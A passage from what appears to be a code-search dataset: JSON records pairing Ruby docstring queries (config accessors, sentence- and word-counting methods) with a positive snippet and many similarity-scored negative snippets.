"docid": "c11b6ec3b9ea99d2a7d27e8c1a82dc68",
"score": "0.5854005",
"text": "def config\n @config ||= {}\n end",
"title": ""
},
{
"docid": "c11b6ec3b9ea99d2a7d27e8c1a82dc68",
"score": "0.5854005",
"text": "def config\n @config ||= {}\n end",
"title": ""
},
{
"docid": "6fdeeffbc2501d11cabc2de508472a1b",
"score": "0.5814985",
"text": "def configure(conf)\n super\n end",
"title": ""
},
{
"docid": "a9fe6f848900f6702a0ba7a8b37e7420",
"score": "0.5805926",
"text": "def initializeDefaultParams()\n @fcName = nil # Flowcell name\n @baseCallsDir = nil # BaseCalls dir of the flowcell\n @useBasesMask = nil # Custom value to provide to BCL->FastQ convertor\n @sampleSheet = nil # Path to SampleSheet.csv\n yamlConfigFile = File.dirname(File.expand_path(File.dirname(__FILE__))) +\n \"/config/config_params.yml\" \n @configReader = YAML.load_file(yamlConfigFile)\n @queue = \"high\" # The processing queue on the cluster\n end",
"title": ""
},
{
"docid": "43f5a227dd0f780173ced7df63310704",
"score": "0.58053476",
"text": "def load_config\n self.config = JSON.load(self.data)\n end",
"title": ""
},
{
"docid": "c4e0d3906773b321e5d0460f17b2d1d4",
"score": "0.58010846",
"text": "def config\n @config\n end",
"title": ""
},
{
"docid": "1b192d778140a0f6b5759c7b6a192827",
"score": "0.57936627",
"text": "def configure\n yield config\n end",
"title": ""
},
{
"docid": "1b192d778140a0f6b5759c7b6a192827",
"score": "0.57936627",
"text": "def configure\n yield config\n end",
"title": ""
},
{
"docid": "87a729d91593f5a3d794e4a6b919a045",
"score": "0.5789728",
"text": "def config\n machined.config\n end",
"title": ""
},
{
"docid": "755916d14e96a7bd62551e7da9b8222b",
"score": "0.5788338",
"text": "def validate_config!\n raise NotImplementedError, \"Implement #{__callee__} in #{self.class.to_s}\"\n end",
"title": ""
},
{
"docid": "6de7f507c6670571c6a7a0297bacc1ba",
"score": "0.57861596",
"text": "def parametrize #alias\n self.configuration\n end",
"title": ""
},
{
"docid": "441a968989b5be8af92f5efe80dbe266",
"score": "0.57840055",
"text": "def portlet_config(params)\n params\n end",
"title": ""
}
] |
704bde683236e35b0f3db9c4514490e0 | def count_sentences i = 0 self.split.each do |word| if word.sentence? || word.question? || word.exclamation? i += 1 end end i end def count_sentences self.split.each_with_object([]) do |word, sentence_arr| if word.sentence? || word.question? || word.exclamation? sentence_arr << word end end.count end OPTIMIZE :) | [
{
"docid": "65a0bbf33ce25478da18c78fd894843e",
"score": "0.85527354",
"text": "def count_sentences\n self.split(/[.?!]\\s/).count\n end",
"title": ""
}
] | [
{
"docid": "4fb21bb2f81c4064f809cae7d0aec694",
"score": "0.9148612",
"text": "def count_sentences\n counter = 0\n self.split(\" \").each do |word|\n if word.question? || word.sentence? || word.exclamation?\n counter +=1\n end\n end\n counter\n end",
"title": ""
},
{
"docid": "aa8e1bdf69e72261bf78587aecfdd0a0",
"score": "0.900536",
"text": "def count_sentences\n self.split.count { |word| word.sentence? || word.question? || word.exclamation? }\n end",
"title": ""
},
{
"docid": "6b0ad7c761dfd0dd8aadba19d75c54d2",
"score": "0.89470947",
"text": "def count_sentences\n array = self.split\n count = []\n array.each do |ele|\n if ele.sentence? || ele.question? || ele.exclamation?\n count << ele\n end\n end\n count.length\n end",
"title": ""
},
{
"docid": "53126195c3942d38e8ef56d9358a97d4",
"score": "0.8805732",
"text": "def count_sentences\n #set up counter to count # of sentences\n sentence_count = 0\n #split sentence => array elements\n #separate words at each space = eliminate empty string\n #\"Hi! I'm so hangry...\" => [\"Hi!\", \"I'm\", \"so\", \"hangry...\"]\n split_sentence = self.split(\" \")\n #go over the array, each 'word'\n split_sentence.each do |word|\n #use our predicate methods to check if a word ends with \".\" or \"?\" or \"!\"\n if word.question? || word.sentence? || word.exclamation?\n #if a word ends with one of those characters- represents end of 1 sentence\n #still accounts for cases where multiple '!!' or '...'\n sentence_count += 1\n #so every word that ends in one of those characters = 1 sentence\n #we use a counter here to collect the number of words in the string meet these conditions!\n end\n end\n return sentence_count\n end",
"title": ""
},
{
"docid": "d0ed230b82721ba8cc4a53f5954971b9",
"score": "0.87890756",
"text": "def count_sentences\n i = 0\n arr = self.split(/\\?|!|\\./)\n arr.count do |sentence|\n if sentence.length > 0\n i+=1\n end\n end\n return i\n end",
"title": ""
},
{
"docid": "363527f4cd8b4cde621eb8adc8e56a5f",
"score": "0.87133753",
"text": "def count_sentences\n arr = self.split(\".\").join(\"!\").split(\"!\").join(\"?\").split(\"?\")\n arr.reject do |ele|\n ele.empty?\n end.count\n # arr = self.split(/[.?!]/)\n #\n # arr.count\n end",
"title": ""
},
{
"docid": "ddbbe319905fb4979a79d46cef1a25a4",
"score": "0.86217445",
"text": "def count_sentences\n self.split(/\\.|\\?|\\!/).count{|x| x != \"\"}\n\n # 1. split the string at all punctuation marks (.?!)\n # string_array = self.split(/\\.|\\?|\\!/)\n # 2. count the number of elements after the split\n # string_array.count{|x| x != \"\"}\n end",
"title": ""
},
{
"docid": "e95659f3c3ffded8223dffd44d0cdce7",
"score": "0.8620323",
"text": "def count_sentences\n self.split(/[.?!]/).delete_if{|element| element.size < 2}.count\n\n # binding.pry\n \n # array_sentences = self.split(/[.?!]/) => array of the strings split into sentences by punctuation\n # to get rid of the empty \"strings\" created by splitting up double punctuation marks (ex: !!, ?!), we call the delete_if method\n # if the size of the string is less than 2 (since the empty strings will have a size of 2 since it returns \"\")\n # now, to get the number of sentences, we count the number of elements in the array \n \n \n # simple_string = \"one. two. three. this is another sentence.\"\n # complex_string = \"This, well, is a sentence. This is too!! And so is this, I think? Woo...\"\n # \"This, well, is a sentence. This is too!! And so is this, I think? Woo...\".split(/[.?!]/) \n # => [\"This, well, is a sentence\", \" This is too\", \"\", \" And so is this, I think\", \" Woo\"]\n # Since calling split on the string \"This is too!!\" will separate the string into 2 sentences (due to there being 2 \"!!\"),\n # we need to get rid of the empty string in order to get an accurate count of the sentences. \n end",
"title": ""
},
{
"docid": "f74d97eca3660e16018f353848b536e0",
"score": "0.8569128",
"text": "def count_sentences\n new_arr = []\n arr = self.split(\" \")\n arr.each do |words|\n last = words[-1]\n if last == \"!\" || last == \"?\" || last == \".\"\n new_arr << last\n end\n end\n new_arr.length\n end",
"title": ""
},
{
"docid": "4cc2e4d90fb5579fb7a6f82c7e575862",
"score": "0.8558362",
"text": "def count_sentences\n count = 0\n array = self.split(\" \")\n array.each {|word| count += 1 if word.end_with?(\"!\", \"?\", \".\")}\n count\nend",
"title": ""
},
{
"docid": "517492ef77f6510dbcf028bda8538a51",
"score": "0.8548401",
"text": "def count_sentences\n sentence_split = self.split(/[.?!]+/)\n sentence_split.count\n end",
"title": ""
},
{
"docid": "ab72398d62d06e9f82707c4f52047d3b",
"score": "0.85222757",
"text": "def count_sentences\n self.split(/[.?!]+/).count\n end",
"title": ""
},
{
"docid": "0e47796eab5682d6ed51f6af2026aa8d",
"score": "0.8491771",
"text": "def count_sentences\n self.split(/[.!?]/).reject {|x| x.empty?}.size\n end",
"title": ""
},
{
"docid": "290c167f066cca43ad1e9342973d1ca2",
"score": "0.84903634",
"text": "def count_sentences\n self.split(/[.?!]+/).count\n end",
"title": ""
},
{
"docid": "bf69b7da70b871cb47a68cd7e100d605",
"score": "0.84899247",
"text": "def count_sentences\n self.split(/[.!?]/).reject {|x| x.empty?}.size\n end",
"title": ""
},
{
"docid": "1eee74fe98956664ed468beba8b0ddcf",
"score": "0.84659594",
"text": "def count_sentences\n self.split.count do |num|\n num.end_with?(\".\", \"?\", \"!\")\n # binding.pry\n end\n end",
"title": ""
},
{
"docid": "db55e26965ceebddeca61905cf9b8c9e",
"score": "0.8450603",
"text": "def count_sentences\n# n = 0\n# self.split(\" \").each do |word|\n# if word.include?(\".\"); word.include?(\"!\"); word.include?(\"?\")\n# n+=1\n# elsif !word.include?(\".\"); word.include?(\"!\"); word.include?(\"?\")\n# return \"0\"\n# end\n# end\n# n+1\n# # binding.pry\n# end\n# end\n\n sentence = self.split(/[.?!]/)\n sentence.delete_if {|word| word.length == 0}\n sentence.count\n #binding.pry\n\n end",
"title": ""
},
{
"docid": "5519923f3ac189ca24016cc1bc8e886d",
"score": "0.8427327",
"text": "def count_sentences\n # Split sentences into array components and remove empty components\n self.split(/[.?!]/).keep_if {|sentence| sentence.length > 1}.length\n end",
"title": ""
},
{
"docid": "86aaab92dd7b29317667a38590e1cb64",
"score": "0.84153473",
"text": "def count_sentences\n arr = self.split(/[.?!]/).reject {|string| string.empty?}\n return arr.length\n end",
"title": ""
},
{
"docid": "49280737d4f88c56befc457790ad146a",
"score": "0.83437246",
"text": "def count_sentences\n self.split(/[?!.]\\s+[A-Z]|[?!.]\\s+[a-z]/).length\nend",
"title": ""
},
{
"docid": "7912c357f09b91f46ca1ca9c1704d804",
"score": "0.8295895",
"text": "def count_sentences\n empty_array = []\n complex_string = \"one. two. three?\"\n complex_string.split << empty_array.count \n end",
"title": ""
},
{
"docid": "eef2a6de5f74aa321b675b5a93f14b2e",
"score": "0.8288479",
"text": "def count_sentences\n self.scan(/[^\\.!?]+[\\.!?]/).map(&:strip).count\n end",
"title": ""
},
{
"docid": "3872609ed8fd01282c2d196537141684",
"score": "0.8202686",
"text": "def count_sentences\n self.squeeze('.!?').count('.!?')\n end",
"title": ""
},
{
"docid": "f51eeca8bfc073e2fdc545bd570822ef",
"score": "0.8201795",
"text": "def count_sentences\n self.split(/\\.|\\?|\\!/).delete_if {|s| s.size < 2}.size\n end",
"title": ""
},
{
"docid": "eaf95465696b3b794899dcede09d4b06",
"score": "0.8075997",
"text": "def count_sentences\n sentences_count = []\n if self.class == Array\n self.each do |sentence|\n \n end\n end\n sentences_count = self.split(\".\")\n sentences_count.length\n\n end",
"title": ""
},
{
"docid": "039c815786dab9354fdae1be878e0891",
"score": "0.77263",
"text": "def word_counter(sentence)\n\t@sentence = sentence\n\twords_arr = @sentence.split\n\treturn words_arr.count\nend",
"title": ""
},
{
"docid": "044952e84ef92b20954028b3a90382cc",
"score": "0.771652",
"text": "def count_sentences(str)\n arr = str.split(\"\").keep_if{|x| x =~ /[!?.]/}.count\nend",
"title": ""
},
{
"docid": "8760d04cdb7fdc26d1a5463cda3d1c4d",
"score": "0.7697942",
"text": "def sentence_counter\n # Declare an empty hash\n sents = {}\n # Iterate each paragraph, modify question and exclamation marks\n # then fill a hash table with paragraph number as key, sentences as values\n # using , . ; : ¿ ? ¡ and ! as parameters\n @paragraph.count.times do |i|\n buffer = @paragraph[i]\n # Using | to keep marks in the sentence\n buffer = buffer.gsub(\"¿\", \"|¿\")\n buffer = buffer.gsub(\"?\", \"?|\")\n buffer = buffer.gsub(\"¡\", \"|¡\")\n buffer = buffer.gsub(\"!\", \"!|\")\n buffer = buffer.gsub(\"•\", \"\")\n sents[\"p#{i}\"] = buffer.split(/[,.;:|]/, -1)\n end\n counter = 0\n # sents is a hash wich contains strings arrays as values so we need to perform 2 loops\n # to iterate each string, the strip to remove any remaining space or tab character.\n sents.each do |sent|\n sent[1].count.times do |i|\n sent[1][i] = sent[1][i].strip\n #puts sent[1][i]\n counter += 1 \n end\n end\n @sentence = sents\n return counter\n end",
"title": ""
},
{
"docid": "ab7c689a964f44c3769085489049063d",
"score": "0.76313275",
"text": "def word_counter(sentence)\n return sentence.split.size\nend",
"title": ""
},
{
"docid": "ab7c689a964f44c3769085489049063d",
"score": "0.76313275",
"text": "def word_counter(sentence)\n return sentence.split.size\nend",
"title": ""
},
{
"docid": "07f27205f1209a4fb416c55e845a8940",
"score": "0.7629992",
"text": "def word_counter(sentence)\n sentence_array = sentence.split(\" \")\n return sentence_array.length\nend",
"title": ""
},
{
"docid": "5ae0d5983caeda9a3db7593c292fc025",
"score": "0.7628202",
"text": "def count_words(sentence)\n words_array = sentence.split\n words_array.count\nend",
"title": ""
},
{
"docid": "8f846d82e10c31c402a56bd49d0ab3c5",
"score": "0.76178414",
"text": "def word_counter\n words = {}\n # Iterate paragraphs, then sentences, then adds each sentence to a buffer\n @sentence.count.times do |i|\n @sentence[\"p#{i}\"].count.times do |j|\n # Check for any empty sentence and ingnore it\n if @sentence[\"p#{i}\"][j] != \"\"\n buffer = @sentence[\"p#{i}\"][j]\n # Removing remaining marks\n buffer = buffer.gsub(\"¡\", \"\")\n buffer = buffer.gsub(\"!\", \"\")\n buffer = buffer.gsub(\"¿\", \"\")\n buffer = buffer.gsub(\"?\", \"\")\n buffer = buffer.gsub(\"(\", \"\")\n buffer = buffer.gsub(\")\", \"\")\n # Splits groups of words into arrays stored in hashes\n # hashes uses paragraph an sentence pointers as keys. \n words[\"p#{i}s#{j}\"] = buffer.split(\"\\s\", -1) \n end\n end\n end\n # Counting each word\n counter = 0\n words.each do |sent|\n sent[1].each do |word|\n # puts word\n counter += 1\n end\n end\n @word = words\n return counter\n end",
"title": ""
},
{
"docid": "84e2b5700bbaf9f836a77cb262e9695c",
"score": "0.76042134",
"text": "def word_counter(sentence)\n sentence.split.count\nend",
"title": ""
},
{
"docid": "30c856fe215d7bd2ac797ae9c779d3da",
"score": "0.7468188",
"text": "def count_sentences\n chars = self.chars\n punct = ['.','?','!']\n count = 0\n last_char_was_punct = false\n print self\n chars.each{|char|\n print char\n #use intersection to see if punctuation exists\n if ((([char] & punct).length == 1))\n if !last_char_was_punct\n count += 1\n end \n last_char_was_punct = true \n else\n last_char_was_punct = false \n end\n }\n count\n end",
"title": ""
},
{
"docid": "7f54711be5171b4c0fb0296aa1603384",
"score": "0.7329406",
"text": "def word_count(sentence)\n sentence.split(\" \").each do |word|\n word = word.downcase\n end\n end",
"title": ""
},
{
"docid": "b75da0594bd81ce939476f43e64273d5",
"score": "0.7277464",
"text": "def word_counter(sentence)\r\n puts \"Sentence has #{sentence.split(\" \").count} words.\"\r\nend",
"title": ""
},
{
"docid": "c4d9e051781b09b7764c05cf5bc5c150",
"score": "0.7268526",
"text": "def num_sentences\r\n sentences.length\r\n end",
"title": ""
},
{
"docid": "f3d43ac697670f5b16eef550bc3121e3",
"score": "0.7244794",
"text": "def word_counter(sentence)\n puts \"The sentence: #{sentence} has #{sentence.split.length} words.\"\n #.split splits a string into the words it makes up and puts it in an array (a list)\n #.length checks how many things are in the array\nend",
"title": ""
},
{
"docid": "d2c4b11b0bff49bbf534cc3b5e61262e",
"score": "0.72401947",
"text": "def word_count(sentence)\n general_count = Hash.new \n count = 0\n sentence.split(\" \").each do | word |\n if general_count[word] == word\n general_count[word] += 1 \n else\n # general_count[word] = word\n general_count[word] = 1\n end\n end\n general_count\nend",
"title": ""
},
{
"docid": "ca4b28f6e3d0498cda2acb2d52bcfb33",
"score": "0.7235776",
"text": "def sentences(text)\n text.split(/[\\.\\?\\!]/).length\n end",
"title": ""
},
{
"docid": "99a76eecc8951f90f4856df7418d4501",
"score": "0.72329175",
"text": "def sentence_count(string)\n $LOG.debug(\"#{__method__} invoked.\")\n string.scan(/(.*!|.*\\?|.*\\.)/).length\nend",
"title": ""
},
{
"docid": "9a000a458ed344767d6dbf8cb684feb6",
"score": "0.71711004",
"text": "def count_words(sentence)\n sentence.split.length\nend",
"title": ""
},
{
"docid": "f085a09b35779776f8d83d87a557a52b",
"score": "0.71487665",
"text": "def sentences(text)\n text.split(/[\\.\\?\\!]/).length\nend",
"title": ""
},
{
"docid": "d37cd42ad1f63b9ae9b01cd03fca77fc",
"score": "0.7147245",
"text": "def word_sizes sentence\n counts = Hash.new(0) # (0) sets the value of any nonexistant key as 0, which imitates initiating the variable\n sentence.split.each do |word|\n word = word.delete(\"^a-z\", \"^A-Z\") # LS solution: ('^A-Za-z')\n counts[word.length] +=1\n end\n counts\nend",
"title": ""
},
{
"docid": "2b232cdffc68879d6b582858db83cf7a",
"score": "0.7139577",
"text": "def word_count(sentence)\n word_counts = {}\n sentence.split(\" \").each do |word|\n word = word.downcase.gsub(/[^a-z]/i, \"\")\n word_counts[word].nil? ? word_counts[word] = 1 : word_counts[word] += 1\n end\n word_counts\n end",
"title": ""
},
{
"docid": "2a600f32cdd3585372b021bdee04a432",
"score": "0.713954",
"text": "def word_sizes sentence\n counts = Hash.new(0) # (0) sets the value of any nonexistant key as 0, which imitates initiating the variable\n sentence.split.each do |word|\n counts[word.length] +=1\n end\n counts\nend",
"title": ""
},
{
"docid": "ed19cdda723349c373aca524090b26db",
"score": "0.7126767",
"text": "def word_count\n word_counts = {}\n sentence.split(\" \").each do |word|\n word = word.downcase.gsub(/[^a-z]/i, \"\")\n if word_counts[word].nil?\n word_counts[word] = 1\n else\n word_counts[word] += 1\n end\n end\n word_counts\nend",
"title": ""
},
{
"docid": "0adcb688980733bdd57946fb56693891",
"score": "0.7126504",
"text": "def word_count(sentence)\n puts sentence.split(\" \")\nend",
"title": ""
},
{
"docid": "2b34b8504b5d9b50821d5dfe266c99b6",
"score": "0.7117559",
"text": "def find_frequency(sentence, word)\r\n # Your code here\r\n a=sentence.downcase.split\r\n a.count(word)\r\nend",
"title": ""
},
{
"docid": "baeb308dc2a7334359fdaac5ee4199a9",
"score": "0.7110109",
"text": "def num_sentences\n\t\t@sentences.length\n\tend",
"title": ""
},
{
"docid": "9d67a801a48e8e5a2dc5de33da6aa874",
"score": "0.70663834",
"text": "def find_frequency(sentence, word)\n sentence = sentence.downcase\n sentenceArray = sentence.split\n sentenceArray.count(word)\n end",
"title": ""
},
{
"docid": "fbaafc9e447a21742e2a3c121444c7fd",
"score": "0.70584506",
"text": "def frequencey_count_optimized\n sanitized_text = sanitize_text(@text.downcase)\n\n current_sentence_num = 1\n current_word = ''\n words_count = {}\n words_in_sentences = {}\n current_index = 0\n\n sanitized_text.each_char do |char|\n next if char == ' ' && current_word == ''\n next if char == '.' && current_word == ''\n\n # process the previouse saved word\n if char == ' ' || current_index == sanitized_text.size - 1\n words_count[current_word] ||= 0\n words_count[current_word] += 1\n\n words_in_sentences[current_word] ||= []\n words_in_sentences[current_word] << current_sentence_num\n current_word = ''\n elsif char != '.'\n current_word += char\n elsif char == '.'\n words_count[current_word] ||= 0\n words_count[current_word] += 1\n\n words_in_sentences[current_word] ||= []\n words_in_sentences[current_word] << current_sentence_num\n current_word = ''\n\n current_sentence_num += 1\n end\n\n current_index += 1\n end\n\n {\n number_of_sentence: current_sentence_num,\n words_count: words_count,\n words_in_sentences: words_in_sentences\n }\n end",
"title": ""
},
{
"docid": "9779e11f2770b79cf1da8b6437ca1fd4",
"score": "0.7050074",
"text": "def word_count(sentence)\n word_counts = {}\n sentence.split(\" \").each do |word|\n word = word.downcase.gsub(/[^a-z]/i, \"\")\n if word_counts[word].nil?\n word_counts[word] = 1\n else\n word_counts[word] += 1\n end\n end\n word_counts\nend",
"title": ""
},
{
"docid": "d9d073ab19c4d988017aa758f463d4f3",
"score": "0.7046802",
"text": "def get_amount_of_sentences\n return @array_of_sentences.length\n end",
"title": ""
},
{
"docid": "baef8a36271dd3609d5c4d811b878642",
"score": "0.7012819",
"text": "def word_count(sentence)\n word_counts = {}\n sentence.split(\" \").each do |word|\n word = word.downcase.gsub(/[^a-z]/i, \"\")\n if word_counts[word].nil?\n word_counts[word] = 1\n else\n word_counts[word] += 1\n end\n end\n word_counts\nend",
"title": ""
},
{
"docid": "baef8a36271dd3609d5c4d811b878642",
"score": "0.7012819",
"text": "def word_count(sentence)\n word_counts = {}\n sentence.split(\" \").each do |word|\n word = word.downcase.gsub(/[^a-z]/i, \"\")\n if word_counts[word].nil?\n word_counts[word] = 1\n else\n word_counts[word] += 1\n end\n end\n word_counts\nend",
"title": ""
},
{
"docid": "baef8a36271dd3609d5c4d811b878642",
"score": "0.7012819",
"text": "def word_count(sentence)\n word_counts = {}\n sentence.split(\" \").each do |word|\n word = word.downcase.gsub(/[^a-z]/i, \"\")\n if word_counts[word].nil?\n word_counts[word] = 1\n else\n word_counts[word] += 1\n end\n end\n word_counts\nend",
"title": ""
},
{
"docid": "38f2198906d40508f7560891219f9bb4",
"score": "0.70088917",
"text": "def word_count\n @text.split(' ').size\n end",
"title": ""
},
{
"docid": "ff2e6ad9760fe6764f0fc43dc1640ac4",
"score": "0.7002463",
"text": "def word_count\n self.flatten.count\n end",
"title": ""
},
{
"docid": "b248997268169ec5932381cff287e76b",
"score": "0.69826484",
"text": "def find_frequency(sentence, word)\n # Your code here\n sentence.downcase.split.count(word.downcase)\nend",
"title": ""
},
{
"docid": "b248997268169ec5932381cff287e76b",
"score": "0.69826484",
"text": "def find_frequency(sentence, word)\n # Your code here\n sentence.downcase.split.count(word.downcase)\nend",
"title": ""
},
{
"docid": "958d14afa122b0826b9194741439c8e4",
"score": "0.6974583",
"text": "def find_frequency(sentence, word)\n sentence=sentence.downcase\n sentence=sentence.split\n return sentence.count(word.downcase)\nend",
"title": ""
},
{
"docid": "dfd17087014c6b69091ff8f2030f60ae",
"score": "0.69583124",
"text": "def find_frequency(sentence, word)\n # sentence.split(' ').inject(0) { |sum, element| element.casecmp(word) == 0 ? sum + 1 : sum } # too complicated\n sentence.downcase.split.count(word.downcase)\nend",
"title": ""
},
{
"docid": "4183c0d41c9bd218aea7cebc707d70b2",
"score": "0.69565594",
"text": "def find_frequency(sentence, word)\n sentence.downcase.split.count(word)\nend",
"title": ""
},
{
"docid": "a431780b43291fb858642b4942f008e0",
"score": "0.6939556",
"text": "def find_frequency(sentence, word)\n sentence.downcase.split.count(word.downcase)\nend",
"title": ""
},
{
"docid": "341e9550c298a4381f6ceec1a19ae267",
"score": "0.69245946",
"text": "def find_frequency(sentence, word)\n sentence.downcase.split.count(word)\n end",
"title": ""
},
{
"docid": "f441fb37ec630cc65bdee637f4a4cec2",
"score": "0.69219315",
"text": "def word_count\n # take care single quote words - don't, can't, 'large'\n single_quote\n\n words = @phrase.scan(/\\w+/)\n words.each do |w|\n w = w.to_s\n # strip out non alphanumeric characters\n w.gsub!(/[^0-9a-z]/i, '')\n w = w.downcase\n @words_hsh.key?(w) ? @words_hsh[w] = @words_hsh[w] + 1 : @words_hsh[w] = 1\n end\n @words_hsh\n end",
"title": ""
},
{
"docid": "1de42df1bc2d35f44a12eec6c77011c3",
"score": "0.6921732",
"text": "def count_words\n count = Hash.new{0}\n self.downcase.strip.split(/\\W+/).each { |word| count[word]+=1 }\n count\n end",
"title": ""
},
{
"docid": "26928987f2e646727639026fac5f2421",
"score": "0.69094753",
"text": "def find_frequency(sentence, word)\n sentence.downcase.split(' ').count(word.downcase)\nend",
"title": ""
},
{
"docid": "451ee65ce5526f986ac69f0c35ae4dd3",
"score": "0.6897181",
"text": "def find_frequency(sentence, word)\n arr = sentence.downcase.split\n return arr.count(word)\nend",
"title": ""
},
{
"docid": "fa0a104bfc7dbc30be4494296cde2845",
"score": "0.6889182",
"text": "def word_count\n \tplaintext = self.transform_plain_text\n \tsize = plaintext.split.size\n end",
"title": ""
},
{
"docid": "8786c5c647b6ef0134f3f67c2964e2fc",
"score": "0.6877049",
"text": "def concordance(texts)\n count = Hash.new(0)\n texts.each do |text|\n text.split.each do |word|\n count[word] = count[word] + 1\n end\n end\n return count\nend",
"title": ""
},
{
"docid": "d7d84bbdfa66c23bfab328d204d879c2",
"score": "0.6874522",
"text": "def word_sizes(sentence)\n sentence.split.each_with_object(Hash.new(0)) do |word, obj|\n word = word.gsub(/[^a-z]+/i, '')\n obj[word.size] += 1\n end\nend",
"title": ""
},
{
"docid": "bfe3084cdb5a4815c6a989e368d849f0",
"score": "0.68631965",
"text": "def how_many_likes?(sentence)\n count = 0\n words = sentence.split(\" \")\n \n words.each do |word|\n count += 1 if word == \"like\"\n end\n \n count \nend",
"title": ""
},
{
"docid": "7401a8c3ee641fe5a1f56400b1d04d07",
"score": "0.6854296",
"text": "def word_counter(words)\n return words.split.size\nend",
"title": ""
},
{
"docid": "06e5f0ccfcd7726eea7c3e6c7455e8f6",
"score": "0.684661",
"text": "def words_count\n words_count = 0\n self.phrases.each do |phrase|\n words_count = words_count + phrase.words_count\n end\n return words_count\n end",
"title": ""
},
{
"docid": "2e3aa98031a632763b6738fd5f43cbbf",
"score": "0.6842489",
"text": "def find_frequency(sentence, word)\n\tsentence.downcase.split.count(word.downcase)\nend",
"title": ""
},
{
"docid": "e96312a6499cff8bee1bff0a1e3a6378",
"score": "0.6835428",
"text": "def find_frequency(sentence, word)\n\twords = sentence.split(/[ ,.]/)\n\twcount = 0\n\tfor iword in words\n\t\tif iword.downcase == word.downcase\n\t\t\twcount += 1\n\t\tend\n\tend\n\twcount\nend",
"title": ""
},
{
"docid": "581ac9be7553515ca226b064354c5cca",
"score": "0.6826082",
"text": "def find_frequency(sentence, word)\n word_array = sentence.split(\" \")\n word_array.map! {|x| x.downcase}\n word_array.count(word)\nend",
"title": ""
},
{
"docid": "d0a88960b1ea3644c52312017bfb7214",
"score": "0.68210113",
"text": "def count_words(story)\n story.split(\" \").each_with_object(Hash.new(0)) do |word, occurences|\n occurences[word] += 1\n end\nend",
"title": ""
},
{
"docid": "3bc085e8ef99e4862a53e7848a6fde61",
"score": "0.6812122",
"text": "def find_frequency(sentence, word)\n s = sentence.downcase.split(\" \")\n w = word.downcase\n s.count(w)\nend",
"title": ""
},
{
"docid": "3935bd72f4a12aee15ac7e50e4e60e8b",
"score": "0.68008214",
"text": "def find_frequency(sentence, word)\n after_split = sentence.downcase.split\n result = after_split.count(word)\n return result\nend",
"title": ""
},
{
"docid": "64e095d1515ab2046f456aa67448bfbd",
"score": "0.6797356",
"text": "def how_many_likes?(sentence)\n words = sentence.split\n likes_count = 0\n\n words.each do |word|\n likes_count += 1 if word == \"like\"\n end\n\n likes_count\nend",
"title": ""
},
{
"docid": "4462c31287c0be0f3fa991266c302e04",
"score": "0.6787785",
"text": "def array_for(sentence)\n sentence.downcase!\n characters.map { |c| sentence.count c }\nend",
"title": ""
},
{
"docid": "3ceeab9987298c4798435f5dc5934910",
"score": "0.67738354",
"text": "def num_sentences\n @sentences.length\n end",
"title": ""
},
{
"docid": "afb07beff7b483cecb65a4c21691befb",
"score": "0.67699397",
"text": "def frequency_of_word(sentence, word)\n iter = 0\n results = []\n array = sentence.downcase.split(\" \")\n while iter < array.length\n if array[iter] == word\n results << array[iter]\n end\n iter+=1\n end\n \nresults.length\n \nend",
"title": ""
},
{
"docid": "764c082caecd6d546328f431fea5eb94",
"score": "0.67688763",
"text": "def word_sizes(sentence)\n word_size_hash = Hash.new(0)\n words_size_arr = sentence.split.map { |word| word.length }\n words_size_arr.each { |word_length| word_size_hash[word_length] += 1 }\n word_size_hash\nend",
"title": ""
},
{
"docid": "7dd1a7635d8fc109b085399d0010ff58",
"score": "0.6768371",
"text": "def word_count_all_in_one\n Hash[text.downcase.scan(/\\w+/).group_by { |word| word }.map { |word, words| [word, words.size] }]\n end",
"title": ""
},
{
"docid": "a0a479e4ffbff535f354a2d2234f060e",
"score": "0.6747232",
"text": "def wordcount(content=@data)\n if content.respond_to?(:join)\n content = content.join(\"\\n\")\n end\n content.split.size\nend",
"title": ""
},
{
"docid": "72a9757f41802f6f737f1f77aa42aef2",
"score": "0.6746035",
"text": "def word_count word\n word.downcase.split.inject(Hash.new(0)) { |h,v| h[v] += 1; h }\n end",
"title": ""
},
{
"docid": "b41c5f7f7086c8393d4d08e2b6681a1c",
"score": "0.67353916",
"text": "def count_words\n counter = Hash.new(0)\n words = self.downcase.scan(/\\w+/)\n words.each { |word| counter[word] += 1 }\n counter\n end",
"title": ""
},
{
"docid": "d35436839cf0e20fb180b1ffe2c0436a",
"score": "0.67318004",
"text": "def long_word_count(text)\n #split string by (\" \") into an array\n #use (.each) method iterating thru array\n #counter adds 1 if length of word is longer than 7\n counter = 0\n text.split.each {|word| counter += 1 if word.length > 7}\n counter\nend",
"title": ""
},
{
"docid": "61ad7d15e9042dc5d31a61cefa2191ba",
"score": "0.67179793",
"text": "def word_count\n self.body.split(\" \").count\n end",
"title": ""
},
{
"docid": "216bdbf014b0629991a5802bfa0bed2e",
"score": "0.669748",
"text": "def word_count\n @text.split(/[\\s\\t\\n\\r]+/).size\n end",
"title": ""
},
{
"docid": "54e17ee0a313880aaa82fd1139884f2a",
"score": "0.66964495",
"text": "def count_words\n inputWord = Hash.new(0)\n self.downcase.gsub(/\\w+/).each {|word| inputWord[word] = self.downcase.scan(/\\b#{word}\\b/).size} \n inputWord\n end",
"title": ""
},
{
"docid": "57052f52d021443eea0b253e1bf4ac1a",
"score": "0.66951287",
"text": "def count_words\n # prepare string with only words\n array_with_only_chars=self.split.map { |w| w.gsub(/[\\W]/,'').downcase }\n mapa = Hash.new\n array_with_only_chars.select { |a| !a.to_s.empty?}.each do |w|\n value=mapa[w]?mapa[w]:0\n mapa[w]=value+1\n end\n mapa\n end",
"title": ""
},
{
"docid": "4e6fb6952cd31c2aa25892c536d09dd7",
"score": "0.66935843",
"text": "def word_count\n self.body.split(\" \").count\n end",
"title": ""
},
{
"docid": "e2c04626e09f9c55fc5a2a85d5f3cc32",
"score": "0.66781527",
"text": "def find_frequency(sentence, word)\n print \"frequency of the is \"\n puts sentence.downcase.split.count(word.downcase)\nend",
"title": ""
},
{
"docid": "cf5ae0fa8af169d83c6c136789122f58",
"score": "0.6676762",
"text": "def count_words\n # Should return a hash\n count = Hash.new(0)\n # Split string\n words = self.downcase.gsub(/[^a-z]/, ' ').split(' ')\n # Loop through words\n words.each do |word|\n # Add 1 to count\n count[word] += 1\n end\n return count\n end",
"title": ""
}
] |
c46703750a3e8c9216f47875aed2d717 | POST /jobs POST /jobs.json | [
{
"docid": "709f99a9728ebab627ef39f12528712b",
"score": "0.0",
